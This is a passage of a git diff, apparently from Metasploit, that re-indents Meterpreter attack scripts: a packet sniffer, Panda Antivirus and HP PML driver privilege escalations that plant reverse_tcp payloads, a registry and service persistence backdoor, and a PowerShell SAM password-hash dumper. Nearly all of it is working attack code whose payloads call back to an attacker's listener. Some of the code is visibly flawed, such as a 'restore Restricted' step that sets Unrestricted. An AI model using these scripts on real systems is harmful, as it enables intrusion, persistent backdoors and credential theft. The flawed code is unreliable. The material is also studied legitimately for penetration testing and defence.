fd.write([pkt_ts,0,len,len].pack('NNNN')+pkt) + end + od.close + fd.close - ::File.unlink(path_raw) - sleep(2) - sleep(packtime.to_i) + ::File.unlink(path_raw) + sleep(2) + sleep(packtime.to_i) - end - rescue::Exception => e - print("\n") - print_status("#{e.class} #{e}") - print_good("Stopping Packet sniffer...") - @client.sniffer.capture_stop(intid) - end + end + rescue::Exception => e + print("\n") + print_status("#{e.class} #{e}") + print_good("Stopping Packet sniffer...") + @client.sniffer.capture_stop(intid) + end end # Function for listing interfaces # ------------------------------------------------------------------------------ def int_list() - begin - @client.core.use("sniffer") - ifaces = @client.sniffer.interfaces() + begin + @client.core.use("sniffer") + ifaces = @client.sniffer.interfaces() - print_line() + print_line() - ifaces.each do |i| - print_line(sprintf("%d - '%s' ( type:%d mtu:%d usable:%s dhcp:%s wifi:%s )", - i['idx'], i['description'], - i['type'], i['mtu'], i['usable'], i['dhcp'], i['wireless']) - ) - end + ifaces.each do |i| + print_line(sprintf("%d - '%s' ( type:%d mtu:%d usable:%s dhcp:%s wifi:%s )", + i['idx'], i['description'], + i['type'], i['mtu'], i['usable'], i['dhcp'], i['wireless']) + ) + end - print_line() - rescue ::Exception => e - print_error("Error listing interface: #{e.class} #{e}") - end - raise Rex::Script::Completed + print_line() + rescue ::Exception => e + print_error("Error listing interface: #{e.class} #{e}") + end + raise Rex::Script::Completed end ################## Main ################## @exec_opts.parse(args) { |opt, idx, val| - case opt - when "-h" - usage - when "-i" - int_id = val.to_i - when "-l" - log_dest = val - when "-li" - list_int = 1 - when "-t" - rec_time = val - end + case opt + when "-h" + usage + when "-i" + int_id = val.to_i + when "-l" + log_dest = val + when "-li" + list_int = 1 + when "-t" + rec_time = val + end } # Check for Version of Meterpreter wrong_meter_version(meter_type) if meter_type !~ /win32|win64/i if !int_id.nil? or !list_int.nil? - if not is_uac_enabled? or is_admin? - if !list_int.nil? - int_list - else - pcap_file = log_file(log_dest) - startsniff(int_id) - packetrecord(rec_time,pcap_file,int_id) - end - else - print_error("Access denied (UAC enabled?)") - end + if not is_uac_enabled? or is_admin? + if !list_int.nil? + int_list + else + pcap_file = log_file(log_dest) + startsniff(int_id) + packetrecord(rec_time,pcap_file,int_id) + end + else + print_error("Access denied (UAC enabled?)") + end else - usage + usage end diff --git a/scripts/meterpreter/panda_2007_pavsrv51.rb b/scripts/meterpreter/panda_2007_pavsrv51.rb index 5c1b41014d..9ba0d699ed 100644 --- a/scripts/meterpreter/panda_2007_pavsrv51.rb +++ b/scripts/meterpreter/panda_2007_pavsrv51.rb @@ -21,9 +21,9 @@ # Options # @exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "This help menu"], - "-r" => [ true, "The IP of the system running Metasploit listening for the connect back"], - "-p" => [ true, "The port on the remote host where Metasploit is listening"] + "-h" => [ false, "This help menu"], + "-r" => [ true, "The IP of the system running Metasploit listening for the connect back"], + "-p" => [ true, "The port on the remote host where Metasploit is listening"] ) # @@ -33,76 +33,76 @@ rhost = nil rport = nil def usage - print_status("Panda Antivirus 2007 Privilege Escalation.") - print_line(@exec_opts.usage) - raise Rex::Script::Completed + print_status("Panda Antivirus 2007 Privilege Escalation.") + print_line(@exec_opts.usage) + raise Rex::Script::Completed end # # Option parsing # @exec_opts.parse(args) do |opt, idx, val| - case opt - when "-r" - rhost = val - when "-p" - rport = val.to_i - else - usage - end + case opt + when "-r" + rhost = val + when "-p" + rport = val.to_i + else + usage + end end if rhost.nil? or rport.nil? - usage + usage elsif client.platform =~ /win32|win64/ - client.sys.process.get_processes().each do |m| + client.sys.process.get_processes().each do |m| - if ( m['name'] =~ /PAVSRV51\.EXE/ ) - print_status("Found vulnerable process #{m['name']} with pid #{m['pid']}.") + if ( m['name'] =~ /PAVSRV51\.EXE/ ) + print_status("Found vulnerable process #{m['name']} with pid #{m['pid']}.") - # Build out the exe payload. - pay = client.framework.payloads.create("windows/meterpreter/reverse_tcp") - pay.datastore['LHOST'] = rhost - pay.datastore['LPORT'] = rport - raw = pay.generate + # Build out the exe payload. + pay = client.framework.payloads.create("windows/meterpreter/reverse_tcp") + pay.datastore['LHOST'] = rhost + pay.datastore['LPORT'] = rport + raw = pay.generate - exe = Msf::Util::EXE.to_win32pe(client.framework, raw) + exe = Msf::Util::EXE.to_win32pe(client.framework, raw) - # Change to our working directory. - workingdir = client.fs.file.expand_path("%ProgramFiles%") - client.fs.dir.chdir(workingdir + "\\Panda Software\\Panda Antivirus 2007\\") + # Change to our working directory. + workingdir = client.fs.file.expand_path("%ProgramFiles%") + client.fs.dir.chdir(workingdir + "\\Panda Software\\Panda Antivirus 2007\\") - # Create a backup of the original exe. - print_status("Creating a copy of PAVSRV51 (PAVSRV51_back.EXE)...") - client.sys.process.execute("cmd.exe /c rename PAVSRV51.EXE PAVSRV51_back.EXE", nil, {'Hidden' => 'true'}) + # Create a backup of the original exe. + print_status("Creating a copy of PAVSRV51 (PAVSRV51_back.EXE)...") + client.sys.process.execute("cmd.exe /c rename PAVSRV51.EXE PAVSRV51_back.EXE", nil, {'Hidden' => 'true'}) - # Place our newly created exe with the orginal binary name. - tempdir = client.fs.file.expand_path("%ProgramFiles%") - tempexe = tempdir + "\\Panda Software\\Panda Antivirus 2007\\" + "PAVSRV51.EXE" + # Place our newly created exe with the orginal binary name. + tempdir = client.fs.file.expand_path("%ProgramFiles%") + tempexe = tempdir + "\\Panda Software\\Panda Antivirus 2007\\" + "PAVSRV51.EXE" - print_status("Sending EXE payload '#{tempexe}'.") - fd = client.fs.file.new(tempexe, "wb") - fd.write(exe) - fd.close + print_status("Sending EXE payload '#{tempexe}'.") + fd = client.fs.file.new(tempexe, "wb") + fd.write(exe) + fd.close - print_status("Done, now just wait for the callback...") + print_status("Done, now just wait for the callback...") - # Our handler to recieve the callback. - handler = client.framework.exploits.create("multi/handler") - handler.datastore['PAYLOAD'] = "windows/meterpreter/reverse_tcp" - handler.datastore['LHOST'] = rhost - handler.datastore['LPORT'] = rport - # Keep our shell stable. - handler.datastore['InitialAutoRunScript'] = "migrate -f" - handler.datastore['ExitOnSession'] = false + # Our handler to recieve the callback. + handler = client.framework.exploits.create("multi/handler") + handler.datastore['PAYLOAD'] = "windows/meterpreter/reverse_tcp" + handler.datastore['LHOST'] = rhost + handler.datastore['LPORT'] = rport + # Keep our shell stable. + handler.datastore['InitialAutoRunScript'] = "migrate -f" + handler.datastore['ExitOnSession'] = false - handler.exploit_simple( - 'Payload' => handler.datastore['PAYLOAD'], - 'RunAsJob' => true - ) - end - end + handler.exploit_simple( + 'Payload' => handler.datastore['PAYLOAD'], + 'RunAsJob' => true + ) + end + end else - print_error("This version of Meterpreter is not supported with this script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this script!") + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/persistence.rb b/scripts/meterpreter/persistence.rb index 948f4fbd6a..4e9a8aa922 100644 --- a/scripts/meterpreter/persistence.rb +++ b/scripts/meterpreter/persistence.rb @@ -22,17 +22,17 @@ script_on_target = nil @exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "This help menu"], - "-r" => [ true, "The IP of the system running Metasploit listening for the connect back"], - "-p" => [ true, "The port on the remote host where Metasploit is listening"], - "-i" => [ true, "The interval in seconds between each connection attempt"], - "-X" => [ false, "Automatically start the agent when the system boots"], - "-U" => [ false, "Automatically start the agent when the User logs on"], - "-S" => [ false, "Automatically start the agent on boot as a service (with SYSTEM privileges)"], - "-A" => [ false, "Automatically start a matching multi/handler to connect to the agent"], - "-L" => [ true, "Location in target host where to write payload to, if none \%TEMP\% will be used."], - "-T" => [ true, "Alternate executable template to use"], - "-P" => [ true, "Payload to use, default is windows/meterpreter/reverse_tcp."] + "-h" => [ false, "This help menu"], + "-r" => [ true, "The IP of the system running Metasploit listening for the connect back"], + "-p" => [ true, "The port on the remote host where Metasploit is listening"], + "-i" => [ true, "The interval in seconds between each connection attempt"], + "-X" => [ false, "Automatically start the agent when the system boots"], + "-U" => [ false, "Automatically start the agent when the User logs on"], + "-S" => [ false, "Automatically start the agent on boot as a service (with SYSTEM privileges)"], + "-A" => [ false, "Automatically start a matching multi/handler to connect to the agent"], + "-L" => [ true, "Location in target host where to write payload to, if none \%TEMP\% will be used."], + "-T" => [ true, "Alternate executable template to use"], + "-P" => [ true, "Payload to use, default is windows/meterpreter/reverse_tcp."] ) meter_type = client.platform @@ -41,167 +41,167 @@ meter_type = client.platform # Usage Message Function #------------------------------------------------------------------------------- def usage - print_line "Meterpreter Script for creating a persistent backdoor on a target host." - print_line(@exec_opts.usage) - raise Rex::Script::Completed + print_line "Meterpreter Script for creating a persistent backdoor on a target host." + print_line(@exec_opts.usage) + raise Rex::Script::Completed end # Wrong Meterpreter Version Message Function #------------------------------------------------------------------------------- def wrong_meter_version(meter = meter_type) - print_error("#{meter} version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("#{meter} version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end # Function for Creating the Payload #------------------------------------------------------------------------------- def create_payload(payload_type,lhost,lport) - print_status("Creating Payload=#{payload_type} LHOST=#{lhost} LPORT=#{lport}") - payload = payload_type - pay = client.framework.payloads.create(payload) - pay.datastore['LHOST'] = lhost - pay.datastore['LPORT'] = lport - return pay.generate + print_status("Creating Payload=#{payload_type} LHOST=#{lhost} LPORT=#{lport}") + payload = payload_type + pay = client.framework.payloads.create(payload) + pay.datastore['LHOST'] = lhost + pay.datastore['LPORT'] = lport + return pay.generate end # Function for Creating persistent script #------------------------------------------------------------------------------- def create_script(delay,altexe,raw) - if altexe - vbs = ::Msf::Util::EXE.to_win32pe_vbs(@client.framework, raw, {:persist => true, :delay => delay, :template => altexe}) - else - vbs = ::Msf::Util::EXE.to_win32pe_vbs(@client.framework, raw, {:persist => true, :delay => delay}) - end - print_status("Persistent agent script is #{vbs.length} bytes long") - return vbs + if altexe + vbs = ::Msf::Util::EXE.to_win32pe_vbs(@client.framework, raw, {:persist => true, :delay => delay, :template => altexe}) + else + vbs = ::Msf::Util::EXE.to_win32pe_vbs(@client.framework, raw, {:persist => true, :delay => delay}) + end + print_status("Persistent agent script is #{vbs.length} bytes long") + return vbs end # Function for creating log folder and returning log path #------------------------------------------------------------------------------- def log_file(log_path = nil) - #Get hostname - host = @client.sys.config.sysinfo["Computer"] + #Get hostname + host = @client.sys.config.sysinfo["Computer"] - # Create Filename info to be appended to downloaded files - filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") + # Create Filename info to be appended to downloaded files + filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") - # Create a directory for the logs - if log_path - logs = ::File.join(log_path, 'logs', 'persistence', Rex::FileUtils.clean_path(host + filenameinfo) ) - else - logs = ::File.join(Msf::Config.log_directory, 'persistence', Rex::FileUtils.clean_path(host + filenameinfo) ) - end + # Create a directory for the logs + if log_path + logs = ::File.join(log_path, 'logs', 'persistence', Rex::FileUtils.clean_path(host + filenameinfo) ) + else + logs = ::File.join(Msf::Config.log_directory, 'persistence', Rex::FileUtils.clean_path(host + filenameinfo) ) + end - # Create the log directory - ::FileUtils.mkdir_p(logs) + # Create the log directory + ::FileUtils.mkdir_p(logs) - #logfile name - logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + ".rc" - return logfile + #logfile name + logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + ".rc" + return logfile end # Function for writing script to target host #------------------------------------------------------------------------------- def write_script_to_target(target_dir,vbs) - if target_dir - tempdir = target_dir - else - tempdir = @client.fs.file.expand_path("%TEMP%") - end - tempvbs = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".vbs" - fd = @client.fs.file.new(tempvbs, "wb") - fd.write(vbs) - fd.close - print_good("Persistent Script written to #{tempvbs}") - file_local_write(@clean_up_rc, "rm #{tempvbs}\n") - return tempvbs + if target_dir + tempdir = target_dir + else + tempdir = @client.fs.file.expand_path("%TEMP%") + end + tempvbs = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".vbs" + fd = @client.fs.file.new(tempvbs, "wb") + fd.write(vbs) + fd.close + print_good("Persistent Script written to #{tempvbs}") + file_local_write(@clean_up_rc, "rm #{tempvbs}\n") + return tempvbs end # Function for setting multi handler for autocon #------------------------------------------------------------------------------- def set_handler(selected_payload,rhost,rport) - print_status("Starting connection handler at port #{rport} for #{selected_payload}") - mul = client.framework.exploits.create("multi/handler") - mul.datastore['WORKSPACE'] = @client.workspace - mul.datastore['PAYLOAD'] = selected_payload - mul.datastore['LHOST'] = rhost - mul.datastore['LPORT'] = rport - mul.datastore['EXITFUNC'] = 'process' - mul.datastore['ExitOnSession'] = false + print_status("Starting connection handler at port #{rport} for #{selected_payload}") + mul = client.framework.exploits.create("multi/handler") + mul.datastore['WORKSPACE'] = @client.workspace + mul.datastore['PAYLOAD'] = selected_payload + mul.datastore['LHOST'] = rhost + mul.datastore['LPORT'] = rport + mul.datastore['EXITFUNC'] = 'process' + mul.datastore['ExitOnSession'] = false - mul.exploit_simple( - 'Payload' => mul.datastore['PAYLOAD'], - 'RunAsJob' => true - ) - print_good("Multi/Handler started!") + mul.exploit_simple( + 'Payload' => mul.datastore['PAYLOAD'], + 'RunAsJob' => true + ) + print_good("Multi/Handler started!") end # Function to execute script on target and return the PID of the process #------------------------------------------------------------------------------- def targets_exec(script_on_target) - print_status("Executing script #{script_on_target}") - proc = session.sys.process.execute("cscript \"#{script_on_target}\"", nil, {'Hidden' => true}) - print_good("Agent executed with PID #{proc.pid}") - file_local_write(@clean_up_rc, "kill #{proc.pid}\n") - return proc.pid + print_status("Executing script #{script_on_target}") + proc = session.sys.process.execute("cscript \"#{script_on_target}\"", nil, {'Hidden' => true}) + print_good("Agent executed with PID #{proc.pid}") + file_local_write(@clean_up_rc, "kill #{proc.pid}\n") + return proc.pid end # Function to insytall payload in to the registry HKLM or HKCU #------------------------------------------------------------------------------- def write_to_reg(key,script_on_target) - nam = Rex::Text.rand_text_alpha(rand(8)+8) - print_status("Installing into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}") - if(key) - registry_setvaldata("#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",nam,script_on_target,"REG_SZ") - print_good("Installed into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}") - file_local_write(@clean_up_rc, "reg deleteval -k '#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' -v #{nam}\n") - else - print_error("Error: failed to open the registry key for writing") - end + nam = Rex::Text.rand_text_alpha(rand(8)+8) + print_status("Installing into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}") + if(key) + registry_setvaldata("#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",nam,script_on_target,"REG_SZ") + print_good("Installed into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}") + file_local_write(@clean_up_rc, "reg deleteval -k '#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' -v #{nam}\n") + else + print_error("Error: failed to open the registry key for writing") + end end # Function to install payload as a service #------------------------------------------------------------------------------- def install_as_service(script_on_target) - if not is_uac_enabled? or is_admin? - print_status("Installing as service..") - nam = Rex::Text.rand_text_alpha(rand(8)+8) - print_status("Creating service #{nam}") - service_create(nam, nam, "cscript \"#{script_on_target}\"") - file_local_write(@clean_up_rc, "execute -H -f sc -a \"delete #{nam}\"\n") - else - print_error("Insufficient privileges to create service") - end + if not is_uac_enabled? or is_admin? + print_status("Installing as service..") + nam = Rex::Text.rand_text_alpha(rand(8)+8) + print_status("Creating service #{nam}") + service_create(nam, nam, "cscript \"#{script_on_target}\"") + file_local_write(@clean_up_rc, "execute -H -f sc -a \"delete #{nam}\"\n") + else + print_error("Insufficient privileges to create service") + end end ################## Main ################## @exec_opts.parse(args) { |opt, idx, val| - case opt - when "-h" - usage - when "-r" - rhost = val - when "-p" - rport = val.to_i - when "-i" - delay = val.to_i - when "-X" - install = true - key = "HKLM" - when "-S" - serv = true - when "-U" - install = true - key = "HKCU" - when "-A" - autoconn = true - when "-L" - target_dir = val - when "-T" - altexe = val - when "-P" - payload_type = val - end + case opt + when "-h" + usage + when "-r" + rhost = val + when "-p" + rport = val.to_i + when "-i" + delay = val.to_i + when "-X" + install = true + key = "HKLM" + when "-S" + serv = true + when "-U" + install = true + key = "HKCU" + when "-A" + autoconn = true + when "-L" + target_dir = val + when "-T" + altexe = val + when "-P" + payload_type = val + end } # Check for Version of Meterpreter @@ -217,7 +217,7 @@ script_on_target = write_script_to_target(target_dir,script) # Start Multi/Handler if autoconn - set_handler(payload_type,rhost,rport) + set_handler(payload_type,rhost,rport) end # Execute on target host @@ -225,11 +225,11 @@ targets_exec(script_on_target) # Install in registry if install - write_to_reg(key,script_on_target) + write_to_reg(key,script_on_target) end # Install as a service if serv - install_as_service(script_on_target) + install_as_service(script_on_target) end diff --git a/scripts/meterpreter/pml_driver_config.rb b/scripts/meterpreter/pml_driver_config.rb index 801c7f9b57..625c16aed1 100644 --- a/scripts/meterpreter/pml_driver_config.rb +++ b/scripts/meterpreter/pml_driver_config.rb @@ -22,9 +22,9 @@ # Options # @exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "This help menu" ], - "-r" => [ true, "The IP of the system running Metasploit listening for the connect back" ], - "-p" => [ true, "The port on the remote host where Metasploit is listening" ] + "-h" => [ false, "This help menu" ], + "-r" => [ true, "The IP of the system running Metasploit listening for the connect back" ], + "-p" => [ true, "The port on the remote host where Metasploit is listening" ] ) # @@ -34,75 +34,75 @@ rhost = nil rport = nil def usage - print_status("HP PML Driver HPZ12 SERVICE_CHANGE_CONFIG privilege escalation.") - print_line(@exec_opts.usage) - raise Rex::Script::Completed + print_status("HP PML Driver HPZ12 SERVICE_CHANGE_CONFIG privilege escalation.") + print_line(@exec_opts.usage) + raise Rex::Script::Completed end # # Option parsing # opts.parse(args) do |opt, idx, val| - case opt - when "-r" - rhost = val - when "-p" - rport = val.to_i - else - usage - end + case opt + when "-r" + rhost = val + when "-p" + rport = val.to_i + else + usage + end end if rhost.nil? or rport.nil? - usage + usage if client.platform =~ /win32|win64/ - client.sys.process.get_processes().each do |m| - if ( m['name'] =~ /HPZipm12\.exe/ ) + client.sys.process.get_processes().each do |m| + if ( m['name'] =~ /HPZipm12\.exe/ ) - print_status("Found vulnerable process #{m['name']} with pid #{m['pid']}.") + print_status("Found vulnerable process #{m['name']} with pid #{m['pid']}.") - # Build out the exe payload. - pay = client.framework.payloads.create("windows/meterpreter/reverse_tcp") - pay.datastore['LHOST'] = rhost - pay.datastore['LPORT'] = rport - raw = pay.generate + # Build out the exe payload. + pay = client.framework.payloads.create("windows/meterpreter/reverse_tcp") + pay.datastore['LHOST'] = rhost + pay.datastore['LPORT'] = rport + raw = pay.generate - exe = Msf::Util::EXE.to_win32pe(client.framework, raw) + exe = Msf::Util::EXE.to_win32pe(client.framework, raw) - # Place our newly created exe in %TEMP% - tempdir = client.fs.file.expand_path("%TEMP%") - tempexe = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" - print_status("Sending EXE payload '#{tempexe}'.") - fd = client.fs.file.new(tempexe, "wb") - fd.write(exe) - fd.close + # Place our newly created exe in %TEMP% + tempdir = client.fs.file.expand_path("%TEMP%") + tempexe = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" + print_status("Sending EXE payload '#{tempexe}'.") + fd = client.fs.file.new(tempexe, "wb") + fd.write(exe) + fd.close - print_status("Stopping service \"Pml Driver HPZ12\"...") - client.sys.process.execute("cmd.exe /c sc stop \"Pml Driver HPZ12\" ", nil, {'Hidden' => 'true'}) + print_status("Stopping service \"Pml Driver HPZ12\"...") + client.sys.process.execute("cmd.exe /c sc stop \"Pml Driver HPZ12\" ", nil, {'Hidden' => 'true'}) - print_status("Setting Pml Driver to #{tempexe}...") - client.sys.process.execute("cmd.exe /c sc config \"Pml Driver HPZ12\" binpath= #{tempexe}", nil, {'Hidden' => 'true'}) - sleep(1) - print_status("Restarting the \"Pml Driver HPZ12\" service...") - client.sys.process.execute("cmd.exe /c sc start \"Pml Driver HPZ12\" ", nil, {'Hidden' => 'true'}) + print_status("Setting Pml Driver to #{tempexe}...") + client.sys.process.execute("cmd.exe /c sc config \"Pml Driver HPZ12\" binpath= #{tempexe}", nil, {'Hidden' => 'true'}) + sleep(1) + print_status("Restarting the \"Pml Driver HPZ12\" service...") + client.sys.process.execute("cmd.exe /c sc start \"Pml Driver HPZ12\" ", nil, {'Hidden' => 'true'}) - # Our handler to recieve the callback. - handler = client.framework.exploits.create("multi/handler") - handler.datastore['WORKSPACE'] = client.workspace - handler.datastore['PAYLOAD'] = "windows/meterpreter/reverse_tcp" - handler.datastore['LHOST'] = rhost - handler.datastore['LPORT'] = rport - handler.datastore['ExitOnSession'] = false + # Our handler to recieve the callback. + handler = client.framework.exploits.create("multi/handler") + handler.datastore['WORKSPACE'] = client.workspace + handler.datastore['PAYLOAD'] = "windows/meterpreter/reverse_tcp" + handler.datastore['LHOST'] = rhost + handler.datastore['LPORT'] = rport + handler.datastore['ExitOnSession'] = false - handler.exploit_simple( - 'Payload' => handler.datastore['PAYLOAD'], - 'RunAsJob' => true - ) + handler.exploit_simple( + 'Payload' => handler.datastore['PAYLOAD'], + 'RunAsJob' => true + ) - client.sys.process.execute("cmd.exe /c sc config \"Pml Driver HPZ12\" binpath= %SystemRoot%\\system32\\HPZipm12.exe", nil, {'Hidden' => 'true'}) - end - end + client.sys.process.execute("cmd.exe /c sc config \"Pml Driver HPZ12\" binpath= %SystemRoot%\\system32\\HPZipm12.exe", nil, {'Hidden' => 'true'}) + end + end else - print_error("This version of Meterpreter is not supported with this script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this script!") + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/powerdump.rb b/scripts/meterpreter/powerdump.rb index e46d542466..38d0224825 100644 --- a/scripts/meterpreter/powerdump.rb +++ b/scripts/meterpreter/powerdump.rb @@ -12,15 +12,15 @@ session = client @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ] + "-h" => [ false, "Help menu." ] ) def usage - print_line("PowerDump -- Dumping the SAM database through PowerShell") - print_line("Dump username and password hashes on systems that have") - print_line("PowerShell installed on the system. Win7 and 2008 tested.") - print(@@exec_opts.usage) - raise Rex::Script::Completed + print_line("PowerDump -- Dumping the SAM database through PowerShell") + print_line("Dump username and password hashes on systems that have") + print_line("PowerShell installed on the system. Win7 and 2008 tested.") + print(@@exec_opts.usage) + raise Rex::Script::Completed end #------------------------------------------------------------------------------- @@ -28,34 +28,34 @@ end def dumphash(session) - path = File.join( Msf::Config.install_root, "data", "exploits", "powershell" ) + path = File.join( Msf::Config.install_root, "data", "exploits", "powershell" ) - print_status("Running PowerDump to extract Username and Password Hashes...") - filename=("#{rand(100000)}.ps1") - hash_dump=("#{rand(100000)}") - session.fs.file.upload_file("%TEMP%\\#{filename}","#{path}/powerdump.ps1") - print_status("Uploaded PowerDump as #{filename} to %TEMP%...") - opmode = "" - print_status("Setting ExecutionPolicy to Unrestricted...") - session.sys.process.execute("powershell Set-ExecutionPolicy Unrestricted", nil, {'Hidden' => 'true', 'Channelized' => true}) - print_status("Dumping the SAM database through PowerShell...") - session.sys.process.execute("powershell C:\\Windows\\Temp\\#{filename} >> C:\\Windows\\Temp\\#{hash_dump}", nil, {'Hidden' => 'true', 'Channelized' => true}) - sleep(10) - hashes=session.fs.file.new("%TEMP%\\#{hash_dump}", "rb") - begin - while ((data = hashes.read) != nil) - data=data.strip - print_line(data) - end - rescue EOFError - ensure - hashes.close - end - print_status("Setting Execution policy back to Restricted...") - session.sys.process.execute("powershell Set-ExecutionPolicy Unrestricted", nil, {'Hidden' => 'true', 'Channelized' => true}) - print_status("Cleaning up after ourselves...") - session.sys.process.execute("cmd /c del %TEMP%\\#{filename}", nil, {'Hidden' => 'true', 'Channelized' => true}) - session.sys.process.execute("cmd /c del %TEMP%\\#{hash_dump}", nil, {'Hidden' => 'true', 'Channelized' => true}) + print_status("Running PowerDump to extract Username and Password Hashes...") + filename=("#{rand(100000)}.ps1") + hash_dump=("#{rand(100000)}") + session.fs.file.upload_file("%TEMP%\\#{filename}","#{path}/powerdump.ps1") + print_status("Uploaded PowerDump as #{filename} to %TEMP%...") + opmode = "" + print_status("Setting ExecutionPolicy to Unrestricted...") + session.sys.process.execute("powershell Set-ExecutionPolicy Unrestricted", nil, {'Hidden' => 'true', 'Channelized' => true}) + print_status("Dumping the SAM database through PowerShell...") + session.sys.process.execute("powershell C:\\Windows\\Temp\\#{filename} >> C:\\Windows\\Temp\\#{hash_dump}", nil, {'Hidden' => 'true', 'Channelized' => true}) + sleep(10) + hashes=session.fs.file.new("%TEMP%\\#{hash_dump}", "rb") + begin + while ((data = hashes.read) != nil) + data=data.strip + print_line(data) + end + rescue EOFError + ensure + hashes.close + end + print_status("Setting Execution policy back to Restricted...") + session.sys.process.execute("powershell Set-ExecutionPolicy Unrestricted", nil, {'Hidden' => 'true', 'Channelized' => true}) + print_status("Cleaning up after ourselves...") + session.sys.process.execute("cmd /c del %TEMP%\\#{filename}", nil, {'Hidden' => 'true', 'Channelized' => true}) + session.sys.process.execute("cmd /c del %TEMP%\\#{hash_dump}", nil, {'Hidden' => 'true', 'Channelized' => true}) end print_status("PowerDump v0.1 - PowerDump to extract Username and Password Hashes...") diff --git a/scripts/meterpreter/prefetchtool.rb b/scripts/meterpreter/prefetchtool.rb index d299868ebc..64eaaecec2 100644 --- a/scripts/meterpreter/prefetchtool.rb +++ b/scripts/meterpreter/prefetchtool.rb @@ -11,105 +11,105 @@ require 'digest/sha1' # Script Options @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu."], - "-p" => [ false, "List Installed Programs"], - "-c" => [ false, "Disable SHA1/MD5 checksum"], - "-x" => [ true, "Top x Accessed Executables (Based on Prefetch folder)"], - "-i" => [ false, "Perform lookup for software name"], - "-l" => [ false, "Download Prefetch Folder Analysis Log"] + "-h" => [ false, "Help menu."], + "-p" => [ false, "List Installed Programs"], + "-c" => [ false, "Disable SHA1/MD5 checksum"], + "-x" => [ true, "Top x Accessed Executables (Based on Prefetch folder)"], + "-i" => [ false, "Perform lookup for software name"], + "-l" => [ false, "Download Prefetch Folder Analysis Log"] ) @tempdir = @session.fs.file.expand_path("%TEMP%") #--------------------------------------------------------------------------------------------------------- def read_program_list - key = @session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall', KEY_READ) - sfmsvals = key.enum_key - sfmsvals.each do |test1| - begin - key2 = "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\"+test1 - root_key2, base_key2 = @session.sys.registry.splitkey(key2) - value1 = "DisplayName" - value2 = "DisplayVersion" - open_key = @session.sys.registry.open_key(root_key2, base_key2, KEY_READ) - v1 = open_key.query_value(value1) - v2 = open_key.query_value(value2) - print_status("#{v1.data}\t(Version: #{v2.data})") - rescue - end - end + key = @session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall', KEY_READ) + sfmsvals = key.enum_key + sfmsvals.each do |test1| + begin + key2 = "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\"+test1 + root_key2, base_key2 = @session.sys.registry.splitkey(key2) + value1 = "DisplayName" + value2 = "DisplayVersion" + open_key = @session.sys.registry.open_key(root_key2, base_key2, KEY_READ) + v1 = open_key.query_value(value1) + v2 = open_key.query_value(value2) + print_status("#{v1.data}\t(Version: #{v2.data})") + rescue + end + end end def prefetch_dump(options, logging=false) - lexe = File.join(Msf::Config.data_directory, "prefetch.exe") - rexe = sprintf("%.5d",rand(100000)) + ".exe" - rlog = sprintf("%.5d",rand(100000)) + ".txt" + lexe = File.join(Msf::Config.data_directory, "prefetch.exe") + rexe = sprintf("%.5d",rand(100000)) + ".exe" + rlog = sprintf("%.5d",rand(100000)) + ".txt" - print_status("Uploading Prefetch-tool for analyzing Prefetch folder...") - begin - @session.fs.file.upload_file("#{@tempdir}\\#{rexe}", lexe) - print_status("Prefetch-tool uploaded as #{@tempdir}\\#{rexe}") - rescue ::Interrupt; raise $! - rescue ::Exception => e - print_status("The following error was encountered: #{e.class} #{e}") - return - end + print_status("Uploading Prefetch-tool for analyzing Prefetch folder...") + begin + @session.fs.file.upload_file("#{@tempdir}\\#{rexe}", lexe) + print_status("Prefetch-tool uploaded as #{@tempdir}\\#{rexe}") + rescue ::Interrupt; raise $! + rescue ::Exception => e + print_status("The following error was encountered: #{e.class} #{e}") + return + end - begin + begin - if(logging) - options += " --txt=#{@tempdir}\\#{rlog}" - end + if(logging) + options += " --txt=#{@tempdir}\\#{rlog}" + end - r = @session.sys.process.execute("cmd.exe /c #{@tempdir}\\#{rexe} #{options} #{rlog}", nil, {'Hidden' => 'true','Channelized' => true}) - while(d = r.channel.read) - d.split("\n").each do |out| - print_status("OUT> #{out.strip}") - end - end + r = @session.sys.process.execute("cmd.exe /c #{@tempdir}\\#{rexe} #{options} #{rlog}", nil, {'Hidden' => 'true','Channelized' => true}) + while(d = r.channel.read) + d.split("\n").each do |out| + print_status("OUT> #{out.strip}") + end + end - found = true - while (not found) - found = false - @session.sys.process.get_processes().each do |x| - found = false - if (x['name'].downcase == rexe) - found = true - end - end - sleep(0.5) if found - end + found = true + while (not found) + found = false + @session.sys.process.get_processes().each do |x| + found = false + if (x['name'].downcase == rexe) + 